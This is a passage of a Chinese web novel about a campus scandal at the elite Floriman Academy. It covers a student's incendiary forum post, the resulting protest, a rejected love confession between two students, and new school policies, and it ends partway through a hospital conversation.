“让安保公司的人现在就去找温绒,一定不能让他跟张锦程一样出事。” “好的。” 周谢总算完全放心。 这会儿也不能再上台了,站到旁边准备趁这个机会看看有没有其他“人祸”需要处理。 刚打开学生会群,就被铺天盖地的消息淹没。 [会长,温绒在论坛上说的是真的吗?张锦程真的在学校受害了?] [会长,学校真的不安全了吗?] [会长,现在有大批学生往你那边去了,都吵着要校长给个说法。] 周谢知道有大事发生,但没想到又是跟温绒有关,下意识关闭屏幕,希望这些消息都是自己劳累过度产生的幻觉。 可是身体存在本能反应。 被温绒折磨的感觉再次涌上来,烦躁、痛苦、难以呼吸。 “表哥,你怎么了?” 周谢用力闭眼,压制住内心的不情愿,做足准备才重新打开手机屏幕。 他的手都在抖。 黒鸽论坛,首页第一个帖子旁边飘着红色的“热”。 发帖人:温绒 发帖时间是十分钟前,也就是说,他嘱咐温绒不要乱跑时,温绒正在用键盘敲这些字。 《引领时代,改变世界?不!弗罗里曼学院真正的办学目的是打压人才,阻止时代发展》 让我们鼓掌庆贺弗罗里曼学院迎来400周年纪念日,它成功用世界顶级学府的名头迫害400年来的十多万名学生,接下来还会继续迫害数百万学生,它将像蟑螂一样跟联邦同在。 看到这里的校友先不必生气,请回答我几个问题: 一、你努力18年,满心抱负来到弗罗里曼学院,有思想有抱负,或创造社会价值,或得到财富,你成功了吗? 如果没有成功请回答第二问。 二、你是否有过尝试创造,但向学生会提出申请时,被无理由驳回的经历? 如果有,请回答第三问。 三、你的创造,是否在不久后以别人的名字出现在市场上? 如果有,请回答第四问。 四、你有没有想过,如果你能顺利把项目做下去,成功的人将会是你? 如果有,那小编告诉你,没用!别想! 当一个废物才是你的归宿,因为你冒头了,死期也就到了,这所世界顶级学府并不安全。 今晨,弗罗里曼学院的400周年校庆,校内聚集各界名流,安保更是平时的三倍,但仍然有学生在校遇害。 这名学生就是张锦程。 刚有所成绩就被毁掉双手,如今在手术室抢救。 所以小编提醒众位校友: 不要努力! 不要冒头! 不要奢望成功! 弗罗里曼学院就是为了打压我们而存在。 啪—— 校长的激昂发言中,突然响起一声突兀的碰撞声。 所有媒体人齐刷刷转头,看向声源。 周谢无法做出反应,他的脑子被文字刺痛,短暂陷入巨大的震惊。 这篇新闻稿才是温绒真正的招数! 科普软件的成功让大部分学生后悔当时没理会温绒的需求,张锦程冒头更是让所有学生眼红,这两件事指向同一个点:跟着温绒就能成功。 所以后来温绒又提出自保的小器械,许多人向学生会提起材料采购的申请。 周谢当时让李奥全部驳回。 温绒要的就是“全部驳回”! 温绒要积攒被驳回的愤怒,在校庆这天通过这篇新闻稿引爆。 简而言之,就是利用所有人“渴望权钱”的欲望迫使自己成为众矢之的。 最开始,可能这篇文章的力度是不足的,但现在张锦程切切实实地出事了。 这件事直接挑动所有人的神经——不要期望成功,成功会死,而且还是死在学校。 现在学校能做的,就是解释温绒提出的这些事。 原来温绒要的不是王斯辰动张锦程他就动王艾伦这样的“公平”。 他既要王艾伦被处理,也要逼迫学校把矛头对准王斯辰,给张锦程一个交代。 “表哥?” “表哥?” 周谢抬手用力掐一把眉心醒神。 在疼痛中,才缓慢反应过来自己被李奥搀扶住了。 周谢咬紧牙艰难吩咐:“关门,让所有人安保人员到门口去,把想进放映厅的学生全部带走。” “好。” “等等——”周谢抓紧李奥的手臂。 压不住。 而且被挑动的学生来这里闹事对温绒是有利的。 周谢迅速决断,手指用力,几乎是扣紧李奥的手不让他动。 “不用,不用了。” 下一秒,乱哄哄的声音排山倒海般涌入,一片黑压压的人进入放映厅。 已经分不清谁是谁,人太多了,都穿着黑色制服。 人群给予他们浑水摸鱼的力量,声音瞬间灌满放映厅。 “校长,张锦程被剁掉双手是真的吗?” “学校凭什么打压我们?” “这蟑螂学校开个破周年校庆,什么都不许我们干,还不能保证我们的安全。” “我之前的研究驳回没多久外面就有公司上市了,学校是不是偷我的研究成果卖给别人。” “对!今天必须给我们个说法,要死大家一起死,反正学校里也不安全。” 周谢被声音撞得头晕眼花,他憋住呼吸,在无知无觉中彻底陷入黑暗- 噔 噔 噔 有人反手敲着桌面,清脆的声音随着黑暗进入周谢的脑子。 很舒服,小时候妈妈哄他睡觉,也喜欢这样敲着响。 妈妈—— 周谢猛一下坐起,如同溺水获救的人,大口大口呼吸。 “要不要喝点水。” 周谢点头,伸手正要接,恍然反应过来这是谁的声音,连忙下床。 顿时左手传来刺痛,周谢才发觉左边整个手臂都在发凉,一根针插进手背,连着冰凉的透明液体,因为他刚才的用力,管子出现半截红色。 一只手轻轻摁在他肩膀上,“别起来,李奥说你这周都在熬夜,需要好好休息。” 周谢这才接过水往嘴里送。 这里是医务楼的病房,关着门,只有父亲跟自己。 周谢看外面天已经昏暗,猜测自己直接睡到了傍晚,连忙道,“我没事,你去忙。” “我再陪你坐会儿。”周文栋从果篮里挑出个苹果,“要不要吃?我给你削。” “我真的没事。” “你应该不喜欢这个,想吃什么,我让人去拿。” “不——”声音戛然而止。 因为周谢突然想起了温绒。 这个疯子! 气得再次头晕,两只手胡乱撑着床又要往下跳,又被父亲摁住,“什么事这么着急?” “温绒……”周谢脱口而出后又立马止住,不再继续说,而是扭头找手机。 周文栋问:“想知道现在外面是什么情况?” “他搞出这么大的事,校长肯定——” 周文栋轻笑,手上用力,把周谢摁回病床上。 红彤彤的苹果同时递到他鼻子前,“还是自己啃苹果吧,找点事做分散下注意力。” 清淡的香味强行进入鼻子,周谢被“温绒”迫害出来的应激反应意外缓和。 他伸手接过苹果,用力咬一口。 周文栋在病床边坐下,“现在全世界都知道弗罗里曼学院校庆当天有学生受害,要是信誓旦旦说学校没问题的特招生也出事,弗罗里曼学院这一批校领导都要被换掉,包括校长。” “所以无论校长愿不愿意,他都必须保证今天受害的学生和温绒的安全。” 道理都懂,只是周谢没什么心情去相信这些用理智推断出来的东西,忍不住问:“温绒呢?找到他了吗?” “他从放映厅出去后就一直在手术室门口守着受害的学生。” 波动的情绪彻底平复。 啃苹果确实有作用,分散注意力。 “这个孩子前途无量。” 周谢愣然,“谁?” “温绒。” 周谢了解自己父亲的性格。 他坐在那个位置,非公事上几乎从来不发表意见,但现在竟然给予温绒这么高的评价,周谢心里不怎么舒服,“他迟早被自己害死。” “不会死。” “他只是被别人利用的出头鸟。” “怎么会是出头鸟,他是天生的领导者。” 周谢蹙眉,“你给他的评价是不是太高了。” “所谓天生的领导者,不是站在几方势力之间妥协,而是‘他偏要那样做’,谁都阻止不了。” 周文栋笑笑,继续说:“你看,现在所有人都不得不按他的节奏走。” “他的节奏……” 周谢猛然反应过来。 是的。 无论好事坏事,温绒都习惯于把这些事都调转方向,逼着所有人按他的思路去想,被他带着节奏走,根本不讲道理。 “恩斯特刚才跟我说,开学时他就见过这小孩,当时这小孩还不是这样。” “恩斯特大法官什么时候来的?” “本来还要处理点事,听说校内有学生受害,直接坐直升机过来了。目前正等着检察院的人审问王斯辰。” 周谢听到“王斯辰”这三个字,本能地谨慎,“这次应该没办法扳倒他。” “嗯,一点小事而已,影响不了什么。” 正因为王斯辰的地位无法撼动,他才能那么嚣张。 周谢蹙眉:“那他以后会怎么对温绒。” “王斯辰看他的眼神不对。” 周谢只是惊讶了下,很快想明白自己能看出来的事,父亲肯定也能看出来。 一个38岁的老男人,觊觎一个18岁的男生,听起来不合理,却又很常见。 更可况,垂涎温绒是再正常不过的事情。 温绒一直都在危险之中,现在只是更危险了而已。 “别皱眉,眉毛都快拧一起了,抬头我看看。” 周谢听话抬头。 周文栋伸手抹平周谢的眉心,“王斯辰看上他,你焦虑什么。” “我——” “不过你现在倒可以先和他打好关系,这种小孩适合深交。” “我……”周谢犹疑。 “我还有事要处理,先走了。” “今天也这么忙吗。” “嗯。”周文栋点头,又叮嘱:“不要熬夜,注意身体。” “嗯。” “把苹果吃完。” “嗯。” “晚上记得吃饭。” “我知道。” 这位忙碌的总统,私心在病房里等待儿子醒来才坐上车离开弗罗里曼学院。 病房内没有人来打扰,周谢啃完苹果,满足地望着天花板,细细盘顺现在各方的情况。 王艾伦肯定会被退学,王斯辰最多被关一天,动手的保镖今晚大概率会在狱中自杀。 校长生温绒的气,不过温绒现在是弗罗里曼学院口碑的唯一支撑,校长只能忍着。 那还有个必须解决的问题——学生们的申请被学生会无端驳回。 即使最深层次的原因是校长不允许,但这个过仍然需要他来背。 这次事情闹这么大,好像不从学生会的位置退下来真无法平息所有人的怒火。 那谁来当这个会长比较安全? 周谢首先想到李奥,李奥才三年级,从现在开始当会长能当四年,对他以后进入政府工作也有帮助。 不行。 周谢立即把这个想法否掉。 所有人都知道他跟李奥是亲戚,现在把李奥换上去,相当于让李奥去吸引全部活力。 周谢陷入烦恼,几乎进入死胡同的瞬间,想起发生这么大的事肯定有很多人找自己,单手撑着坐起来,在床头摸到手机。 屏幕刚解锁,消息果然如意料之中砰砰弹出。 李奥:[现在所有人都在申请更换学生会会长。] 李奥:[表哥,你就说是我驳回的,你不知道这件事。] 学生会其他人也来探口风,言语间透露出觊觎学生会会长位置的想法。 在众多消息中,蓦然出现一条令周谢浑身一震的消息。 时野:[你们能做的我也能做,温绒用得上我。] 黒鸽论坛。 发帖人:时野 《换学生会会长解决不了任何问题,根本原因是资源分配不均。为了表明态度,我的别墅和网球场将空出来给所有人使用》 他疯了! 周谢所有的细胞开始颤抖。 时野跟时常远闹掰了,所有东西都只能存放在那个别墅,现在把别墅让出来,他带出来的人和东西要挪到哪里去,网球公开赛怎么准备。 周谢想都不想跳下床,左手臂上的针从手背脱落,血液滴在白色床单上,染出一片触目惊心的红。 钝痛强迫每个细胞都保持安静。 ——你能做什么? ——温绒用不上你。 时野在回答这两句话。 真是可怕的爱意,在这种时候也要争个高低。【你现在阅读的是 】 80-90 第81章 第 81 章 我知道你喜欢我 阴沉沉的天跟盾一样落下, 医务楼门口一排光裸的树形似利剑,向上突刺。 厮杀在寒风中悄然进行。 周谢站在窗边,影子倒映在玻璃上。 下两层也亮起一扇窗, 消瘦的背影在病床边坐了很久。 “老幺你回去休息吧。” 温绒垂下头,“没事,学长你们先回去吧。” 林启正说不动他,本来想把椅子搬过来一起坐在旁边等张锦程醒,张麟拽了拽他的袖子,示意他走。 林启正搞不明白,不过还是给温绒说“那我们先回去了”, 跟着张麟走出病房。 小小的房间安静下来,机器运转,嗡嗡嗡像蚊子的声音, 温绒平稳的情绪被吵得波澜四起。 滋—— 手机震动迫使他回神。 时野:[今天忙了一整天腰酸背痛,明早肯定起不来,明天休息一天。] 说的是打网球。 温绒想到时野发的帖子, 一时间心情更加复杂。 今天发生的事情很多,需要慢慢梳理, 但他突然不想回宿舍,也不想梳理,宁可坐在这里,短暂地放空大脑。 把想做的事都做了, 为什么还是不开心。 视线挪到病床上,张锦程静静躺在那里,两只手都被纱布紧紧包裹。 有种……没有赢的感觉。 温绒垂下头,给时野回复消息:[好的。] 时野:[好什么好,训练一天也不能落下。] 温绒愣了下, 在这前后矛盾的话里想象出一边打拳击一边发疯的时野,随即看一眼病房门号,发消息:[我在医务楼506室,你来吗?] 三分钟后,时野埋着头进门,温绒怀疑他一直都站在外面。 可能眼神过于明显,看得时野满脸不自在,别开脸才敢开口:“要不要去我那边。” “现在?” “嗯,明天准备收拾东西搬出去了,今晚还能带你看看。” 温绒内疚,“不好意思,我发帖子的目的不是要你把别墅让出来,我也不知道为什么会造成这种结果。” “跟你有什么关系,是我自己要让出来。” “……” 时野眼睛一瞥就看到温绒表情不太好,他这辈子虽然没安慰过人,但也知道这时候该说点安慰的话,于是胡言乱语道,“我只是为了周谢。我跟他一块儿长大,坐不稳会长的位置比杀了他还难受。而且他当会长总比别人当会长要好,至少我们还能用武力威胁他。” “噗嗤。” “笑什么。” 温绒摇头,朝门外走,“那我们最后再去看看你的别墅吧,别在这吵张锦程学长休息了。” 冬天的风比想象中更冷,时野看了眼温绒单薄的衣服,在心里庆幸自己开了车。 一路无话。 到别墅时,时野想找些话题,可又不想提及今天发生的事,思来想去,发现无话可说。 因为到目前为止,都还不知道温绒喜欢什么。 烦恼之际,发现温绒脚步缓慢,目光沉沉望着别墅。时野终于知道怎么开口了,“怎么了?” 温绒摇摇头,又低下头问:“你把别墅让出来,里面的东西放到哪里。” “在校外先随便找套房子将就着,等买了地重新建。” 温绒头埋得更低,时野连忙道,“住学校里不方便。很多要见我的人来别墅还要提前跟学校打申请,佣人出去也要打申请,所以我早就想找个机会搬出去了。” 听完,温绒凝重的表情果然消散许多。 时野看他伸手拍了拍脸,努力展示出笑容,“我第一次来的时候就看到你这里有修车的工具,你平时也修车吗?” “那叫改装不叫修车。” 脱口而出后恍然发现温绒其实是在主动找话题,时野意识到自己扫兴了,连忙带着温绒往别墅里走,“我平时就在这里修车。” 也不管温绒听不听得懂,毕生所学都讲出来,还各地强调这是秘法,外面人都不知道,不许温绒说出去。 温绒傻乎乎点头,为了博取信任,还举起手发誓! 时野满意地带他参观完一楼,带上二楼,让他参观自己的奖杯墙。 那是管家强制要求装的,说什么荣誉就要挂起来,时野觉得麻烦,那些玩意随随便便就拿到了,没意思。 可带温绒进去时,漂亮小脸上满是震惊,嘴巴都撅成一个大大的“o”,时野一边得意介绍一边想,搬去新地方就把奖杯墙装在大门口,让温绒天天来看。 还要多拿几个,次次不一样才不腻。 时野还想带温绒看看自己一个零件一个零件拼起来的手办,转首间发现温绒的震惊变了样,嘴角高高挂起,唇有些抖,半点笑意都没有,只有僵硬。 “你不喜欢吗?”时野停下步子。 “没有。” “我又不是傻子,我看得出来。” 温绒这才收了假笑,“很明显吗?” “有什么话你就说,白天在讲台上不挺勇敢的么。” “……” “说啊。” “我知道你喜欢我。” 时野:“…………” 时野:? 温绒突兀地说完,迅速低下头,灯影在脸上切出一道明暗交界。 两人安安静静站着,谁也没再开口,站得有点久,刚才的那具“喜欢”都有点像幻觉。 做梦吧。 “我知道你喜欢——” 时野打断他,“听到了,不用说第二遍。” 时野确认不是幻觉,温绒确实是知道了,在自己还没准备什么表白的仪式之前他就已经知道了! 意识到这一点,时野意外地泄出口气,好像身体再说:终于知道了。 原来他一直都想让温绒知道的。 不多会儿,沉默让时野放松的心脏忐忑起来。 温绒怎么发现的? 什么时候发现的? 现在说这些话是准备做什么? 越想越害怕,他忍住砸墙的冲动,把手揣进口袋里,紧紧捏起拳头。 时野哪里知道现在该怎么办,他第一次喜欢人,第一次被喜欢的人发现心思,第一次对接下来发生的事感到不确定,比总决赛时还要紧张,手心慢慢地就渗出汗。 “……” “……” 沉默持续,时野看到温绒的身体开始晃,好像要站不稳,意识到温绒竟然比自己还紧张,于是承认,“我是喜欢你。” “……” 时野搓了搓头发,脑子也被搓得乱七八糟,不由自主地重复:“我就是喜欢你。” “你别为我做这些了。” “什么?” 时野停下动作,垂眸看见温绒终于抬头,“虽然你说你早就想搬走,但我知道你所有珍贵的东西都在这里,而且你还要参加网球公开赛,出让别墅后你连训练的地方都没有。” 认真的表情开始变得为难,“你对我这么好,可是……我真的回报不了你,我只能把你当朋友。” 时野愣住了。 本来有些不安的心脏跟礼炮一样骤然炸开,彩色的、亮晶晶的东西站满整片视野。 他知道我对他好! 他还要把我当朋友! 喜悦的心情带着声音都高扬起来,“这样不就很好。” 温绒一愣,“嗯?” “你只要看得出我对你好,还把我当朋友,我就什么都愿意做。” “可是我真的回报不了你。” “我又不要你回报我。你蓝书里那么多粉丝支持你,难道你都要回报他们吗?” 温绒张了张嘴,说不出话,时野给他举例子,“换个说法,我粉丝买我的签名我就要跟他们交往吗?那么多人,我一天谈一个都要谈个100年。” “我……” “总之你记得我对你很好就行了。” 温绒低下头沉思。 时野不自觉就往坏的方向想,“艹!你不会准备跟我保持距离吧。” 温绒懵懵“嗯?”一声,时野以为自己猜对了,控制不住情绪激动起来,“因为喜欢你,你就要跟我保持距离?你刚刚还说你只能跟我做朋友。” “……” 时野急道,“我也很需要朋友,我连个能讲心里话的朋友都没有。” 说罢伸手指奖杯,“那些东西都没人来看,我介绍给你才知道得奖有多开心。” 温绒本来想说你还有网球社那些社员,忽而想到以前跟在赵泽阳身边那几个,又想到齐元抛弃时野去找时竞,再早之前,周谢还暗暗改票数欺负时野,望向时野的眼神从困扰转而变成同情。 这么看来,时野跟自己一样孤独,还很可怜,总是被朋友背刺。 温绒咬唇,想了想,“那你以后有什么想说的可以来找我。” 时野挑眉,“只是这样?” “如果你犹犹豫豫不敢说,我就站在原地等你说。” 像是给了好大好大的特权,温绒说得郑重其事,时野都有种占了便宜的感觉,可明明之前就是这么……哦,原来他之前对我这么好了。 于是时野满意地点头,“嗯,你这个朋友还算称职。” “你别染头发了,你之前头发长出去后又去染了一次,我听说染头发致癌。” “朋友染头发你也管?” “嗯,想让朋友活得久一点。” 时野想,跟温绒做朋友真好,还可以活得久一点。 嘴角上扬,露出一口白牙齿。 笑着笑着,不知道为什么,手就开始在口袋里发抖,像是喷薄的火山,跃跃欲试想要冲出来。 冲出来……拥抱大地。 不是,这总事情竟然想这些莫名其妙的东西? 还拥抱大地,又不是写散文。 时野自嘲的提了一提嘴角,那种莫名的情绪越来越强烈,肩膀颤抖,双手控制不住地抬起来。 温绒站在面前,一张漂亮小脸挂着不谙世事的懵懂。 时野终于把“拥抱大地”这么肉麻抽象的词换掉。 在这一刻,他想抱他。 以这样的动作来安放不断涌出的喜悦。 “可以抱一下吗?” 温绒眼睛瞪大,显然被吓到,时野怕他以为自己耍流氓,赶紧解释,“我只是心情很好想抱一下。朋友之间拥抱很正常,看球赛的时候也会激动得抱在一起,你那天也说是朋友之间拥抱,安慰要抱,很开心也可以抱一下。” “不要。”温绒斩钉截铁地拒绝。 “……为什么。” “因为我不能放纵。” 完全是没想到的原因,不是不愿意也不是耍流氓,竟然是放纵?什么放纵? “什么放纵?”时野问了出来。 “抱了就会一直想抱,容易失控。” 时野愣住。 什么失控? 你又不喜欢我,抱一下容易失控的应该是我!你失控什么? 灵活的脑子七拐八拐,最后一道电光穿过,时野嘴巴张开往嘴里吸入一口气,激动问:“那天你回去后一直在想我吗?” 温绒蓦然一惊,又别开脸,空气里传来的呼吸声微重。 沉默。 时野却不想追问答案了,这一刻比拥抱更满足,望着温绒皙白的脖颈慢慢被红晕占据,用力咬着牙不敢笑出声。 “要喝点水吗?” “不要……要。” “要不要。” “要。” 时野到旁边接杯水递给他,自己也倒一杯,咬着杯壁傻兮兮地笑。 贝齿啃得玻璃噌噌响,时野不敢松口,怕松口了就忍不住说“我也想”、“我还想了很多”。 滋—— 因为空气太安静,手机震动的声音额外明显。 时野的好心情被中断,真想骂人,看温绒摸出手机,屏幕上亮起“莱昂学长”四个字时,甚至有点想杀人。 温绒脸上还红彤彤,犹豫片刻,应该是深呼吸调整了情绪,才接起电话,“学长。” “怎么没在医务楼?” 手机质量并不好,明明没开免提,莱昂的声音还是清晰传进时野的耳朵。 温绒小心地朝他看一眼,“时野明天就要搬出去了,我来帮他收拾东西。” 跟莱昂打电话的时候干嘛这样看我? 时野有种当小三的错觉。 莱昂:“你跟时野在一起?” 又看? 我是当小三被抓包了吗? 时野忍不了一点,开口邀请,“你也来吗?” 莱昂那边沉默了下,笑了声。 时野听着不舒服,也笑,“你来不了吗?” 莱昂缓缓开口,“我还在校长室这边听他们的讨论结果。” 不等时野回答,莱昂又说:“温绒,校董们正在对你提出的问题提出解决方案。等晚点你给我个电话吧,我把知道的告诉你。” 艹! 狗东西心眼真坏。 这么一说,温绒还有什么心思做其他的事,绝对满脑子都在想他。 “不用不用,学长你还是别告诉我了。” 时野一愣。 温绒竟然拒绝了? “学长参加会议一定有保密责任,不要为了我开后门。”温绒犹犹豫豫又朝他的方向看一眼,“明天时野就要搬出去了,学长要来一起帮他收拾东西吗?留下一点回忆也好。” 时野:“……” 没人想跟莱昂留下点回忆。 “忙了一天你也累了,早点回去吧,我等会儿跟时野单独聚一聚。” 艹!- 拜莱昂所赐,温绒接完电话后就回了宿舍。 第二天中午,时野大张旗鼓地搬出别墅。 晚上,校长连同校董们终于统一意见,黒鸽系统连发两条通知: [为了每位学生都能在弗罗里曼学院全面发展,经校董会决议,校内所有工作室编入社团,不再以个人名义存在。同时关闭学生资源申请通道,每学期学生会将举行项目研讨会,请有需求的学生以社团名义准备相关演说,由学生会所有部长投票决议是否通过。] [王艾伦同学在校内主导暴力事件,鉴于其已有一张黄牌,且此次事件影响甚大,经校董一致决定,作退学处理。] 黒鸽论坛 《新政策,怎么看?》 [好耶!男神无敌] [男神?] [温绒,我第一次见到这么勇这么牛的人,决定尊称他为我唯一的男神。] [为我以前的不识好歹致歉,好想娶温绒回家。] [你确定你娶得了?] [我愿意嫁给他当四房。] [冷静,前两位仁兄可是争四房争退学了。] [卧槽,当我没说。] [不说别的,以后温绒让我干嘛我就干嘛,太爽了!我终于可以直接进我们社长的网球场练球了。] [之前你们网球社就在那边练习了吧?] [那可不一样,以前是去社长的地盘练球,现在是去公共场合练,那些机器是真先进啊。] [你们就不好奇,梁学长那个研究所……] [那应该不算在内吧,梁学长那儿都属于联邦机密了。] [就算允许我去我也不敢去啊!我听说昨天有人浑水摸鱼想溜进去,身上直接穿了两个洞] [而且还看见了不该看的东西,在审讯室直接疯了。] [靠,好恐怖。] [好奇,我能用张锦程的工作室吗?想让工时上六位数的绣娘给我衣服上绣朵花。] [不可以吧?通知说了使用权归社团,你又不在那个社团。] [等等——我想做的项目跟我在的社团没有关系啊,那我还要明年才能做?] [靠,我也是。] [完了,我们社长想弄脱衣舞巡回表演,我不想脱啊!] 疑问提出来没多久,黒鸽系统发出第三条通知:[鉴于政策调整,第二学期开学时将重开社团招新通道,请同学们提前做好准备。] 第82章 第 82 章 你来看我比赛吧 这一夜比以往更加热闹。 临近十一点, 楼上楼下依旧有脚步声,砰砰地响,不需要亲眼看见就可以猜到有人激动地举着手机庆贺。 温绒在论坛和楼上楼下的双重轰炸中放下鼠标, 悠悠询问系统,“哥哥,我还差多少积分才能继续在这个世界活下去。” 【一个神秘大礼30积分,宿主目前总积分为19,还差11点。】 “还差11点呀。” 温绒扬起嘴角,两只手撑着脸颊傻笑,思绪飘远, “他们现在都喊我男神。不知道为什么,我有点开心。” 系统想说你该担心你还活不活得下去,但温绒的情绪值满格, 说明真的很开心,完全没有被“可能会死”影响。 为什么这么开心呢。 【为什么?】系统问出来。 “唔……” 在过去很多年里,没有人追问过温绒“为什么”, 以至于他自己也没问过自己“为什么”,所以需要想一想。 垂头沉思了约莫两三分钟, 好像终于找到自己如此开心的原因,镜片后面浅浅的眸子明亮如星。 “以前他们都不尊重我。” 【现在你感觉到尊重了吗?】 “我做了大好事!他们很崇拜我。” 又顿了下,更换这个形容词,“认可我。” 说完, 嘴唇溢出一声笑,“噗嗤” 看起来是真的超级开心,系统忍不住好奇,【宿主在以前的学校没被人崇拜过吗?】 “以前啊……” 温绒回忆以前,有种恍如隔世的感觉。 明明才过去几个月。 “以前的同学家里都很有钱, 不怎么跟我说话。” 【宿主没有把眼镜摘下来过吗?】 “没事为什么要摘眼镜。” 【我是说,你以前的同学,都没发现你长得很好看吗?】 【你看,你在这里摘下眼镜后大家就发现你很漂亮,对你的态度都稍微好一点了。】 “高中的时候每个人忙得上厕所都在看书,没时间看我。” “而且他们都是异性恋。” 【……】 【那女生呢?你之前说有女生找你问题目,她们应该也爱找你说话吧。】 “是有个女生会跟我说话。” 【你们高中的校花?】 “不是,是我们班上一个很爱笑的女生。” 【嗯嗯。】 系统默认自家宿主高中时期断网得厉害,校花这种只流传于学生之间的标签大概率进不了他的耳朵。 【她后来怎么不跟你说话了,你拒绝了她?】 “她要出国,高二就不怎么来学校了。” 【……】 温绒后知后觉,“什么拒绝?” 【没什么。】 系统越想越不对劲,绑定过多位宿主的它经历过多种高中校园爱情小说,从来没有一种是宿主这样出国就结束的平淡故事,忍不住继续问:【那其他人呢,那个校霸——】 问出声后才想到宿主当时提到这个人都害怕,连忙道歉,【对不起宿主,我忘记你不敢提他了。】 温绒歪一下脑袋,“你说他啊……” 【宿主不想说也可以不说。】 “没有不想说。” 经历了这么多,温绒再回想起那个人,好像并不害怕了。 那个人…… “好奇怪。” 【怎么?】 “我一下子记不起他长什么样了。”温绒挠挠头,“可能我以前太怕他了,一直都不敢抬头看他。” 【那说明他很高。】 “是是是,有点高。” 系统这么一提醒,温绒好像又记起来点,“他很聪明,家里很有钱,学校里好多男生都听他的,还喜欢在走廊上抽烟,老师也不管。” 【我记得你说他会揍人。】 温绒下意识缩了下脖子,又摸摸脑袋,“嗯。” 【他揍过你吗?】 “……嗯。” 数据面板上,温绒的情绪值缓慢下降,系统再一次后悔自己说错话,CPU嗡嗡直响,【宿主,我们可以不聊他了,反正他肯定也死在地震里了。】 “他高三下学期就出国了,应该没有遇到地震。” 情绪值降下一个度后意外停止,温绒坐在椅子上,神色淡淡,“哥哥,我知道你怕我难过,但我现在不怕他。” “而且我现在过得很开心,他已经不重要了。” 【嗯。】 温绒摘下眼镜,用力揉了揉眉心,“哥哥,有点奇怪,不仅是脸,我好像连他叫什么都不记得了。” “我是不是记忆力出问题了。” 【别担心,这是正常现象。为了防止宿主的精神发生错乱,主系统慢慢对宿主这样上辈子的记忆会进行模糊处理。】 温绒把系统的说法理解为“正常遗忘”,释然。 上辈子也没有太多需要记忆的事,还是好好过现在的生活比较好- 第二天早上有许秋老师的课。 许秋老师看起来好像彻夜未眠,眼底顶着两个黑眼圈,只是藏在眼镜后面不怎么容易被发现。 下课时,温绒看许秋老师站在讲台后没走,主动走上前询问: “老师,您要不要喝点水。” 其实他更想问许秋老师要不要睡一觉,但想想这么问很奇怪,还是止住了。 许秋从厚厚的镜片后面抬眼,“不用。” “……好的。” 顿了下,忍不住说:“老师你要注意休息,你现在的状态看起来不太好。” “嗯。”许秋含糊应一声,突然问:“你第三学期的实践定了吗?要不要去我那里。” “?” 许秋老师那里! 经过这段时间的恶补,温绒已经从各种论文跟书册里感受到到许秋老师这位数学界顶尖学者的厉害。 许秋老师邀请自己去她那边实践! 温绒简直受宠若惊,目瞪口呆,魂飞天外。 “不要浪费时间,直接回答去不去。” 温绒回神,不禁扪心自问:“你哪里配”。 嘴上也问出来,“可是我成绩不是第一。” “你不是在学么,按照你目前的进度,下学期就能赶上其他人了。” 温绒瞪大眼睛,“真的吗?” “你最好减少无效交流。” 温绒咬唇,有点震惊,又有点胆怯的样子看起来有点可怜,许秋叹了口气,勉强说句软话,“脑子笨跟没见识是两个概念,你……勉强算没见识。再勤奋点,把落下的那些东西补起来不比别人差。” “嗯。” 温绒郑重点头,谢过许秋老师,小碎步踩在地板上,高兴得快要起飞。 啪 他几乎是两条腿一起跳下的楼梯,迫不及待摸出手机给莱昂学长发消息: [学长,许秋老师说第三学期我可以去她那边。] 走出教学楼,莱昂学长还没有回复。 温绒并不介意,因为新闻社的群里发来消息,张锦程学长醒了。 简直是天大的好消息! 温绒感觉全世界的好事都落在了自己身上,接二连三的喜报让他乐得找不着北。 心情大好,连路边光秃秃的树,落在眼里都有别样的美感。 一路跑到医务楼,在门口遇上林启正。 林启正也是跑过来的,满脸通红,撑着膝盖在大门口喘气,见着他,脸上更红,是情绪突然激动。 “哈——老幺我给你说,我最近研究出一个新东西。” 温绒拍拍他的背帮忙顺气,生怕他新东西还没研究出来人先倒在这里了。 “我同专业的有几个人听了后觉得前景不错,我们打算一起搞。” 温绒开心道,“那你要准备项目资料了吧!下个月要开项目研讨会。” “啧,那种东西巨难写。” “可以问问张麟学长能不能帮你呀。他应该很擅长经营,上次科普软件的时候张麟学长也帮了好多忙。” “我也是这么打算的,丢给他做,哈哈哈哈。” 笑声暂时压住急促的呼吸,但笑到最后这声音便有些尴尬,好像强颜欢笑。 温绒从表情上看出来,“学长,你不开心吗?” “没。”林启正站直,迅速整理情绪,“走走走,去看看社长的情况。” 林启正走在温绒前面半步,坐电梯时谁都没有开口,难得安静。 直到走到病房门口,林启正一步跳进病房,“社长。” 张锦程正用两只手上的“巨型拳击手套”捧起水杯,好不容易艰难凑到嘴边,被林启正突然这么一吓,尴尬的一幕就此发生。 杯子里的水哗啦全洒在张锦程脸上,头发都从乱七八糟的杂毛变成背头。 “噗嗤。” “哈哈哈哈哈” 张锦程顶着满脸水沉默。 温绒强行咬住嘴,连忙摸卫生纸给他擦脸。 张锦程活动着脸配合温绒,一边把多余的水从鼻子里冲出来一边瞪旁边,“林启正你死了。” “我不是故意的啊,绝对没有。” “谁信,自己把头伸过来。” “靠,社长,你手上那是石膏欸!你知道敲一下多痛吗?” “你给我过来——” “再见社长,我改日再来看你。” 张锦程气得跳下床想追,又因为身体没有完全恢复,身形一晃倒回去,尴尬地举着两个“钳子”,像煮熟了无法动弹的螃蟹。 林启正再次爆笑。 张锦程恶狠狠道,“你等我伤好,弄死你。” “没两个钳子你还想揍我?” 打打闹闹到张麟过来才止住。 四人聊了会儿天,下午还有课,正要回教室,张锦程单独喊住温绒,让他们俩先走了。 温绒搬张凳子在病床边坐下,张锦程没有立即开口,而是想又想,目光在他身上看了又看。 温绒都有点坐不住的时候,终于开口: “老幺,这段时间谢谢你帮了我这么多。” 温绒还不太擅长应付别人的感谢,一连重复好几个“没有”。 “但是下次别再这么做了。” 话锋转得太快令温绒一惊。 他这两天得到的认可很多,可能是太多了,以至于听到张锦程这么说,顿时有些手足无措,还因为空气过于安静,又下意识说了句“对不起学长”。 “该说对不起的是我。” 张锦程嘴角用力堆出笑容,“你现在肯定被王斯辰议员记恨上了,以后走到哪里都会很危险。” “不会的,我不怎么出学校。” “你那篇文章里不就写了学校也不安全吗?” 温绒一顿,不好意思地挠挠头,“大部分时间应该都是安全的,我写那边文章的时候故意写得比较吓人。” “我这个新闻社社长没有做好榜样,让你跟林启正学坏了。” “没没没,那些不是跟林启正学长学的。”温绒帮林启正平反,“那些用词我都是跟视频学的,就是你们说的诈骗视频……我觉得里面的用词很激动人心,特别容易骗到人。” 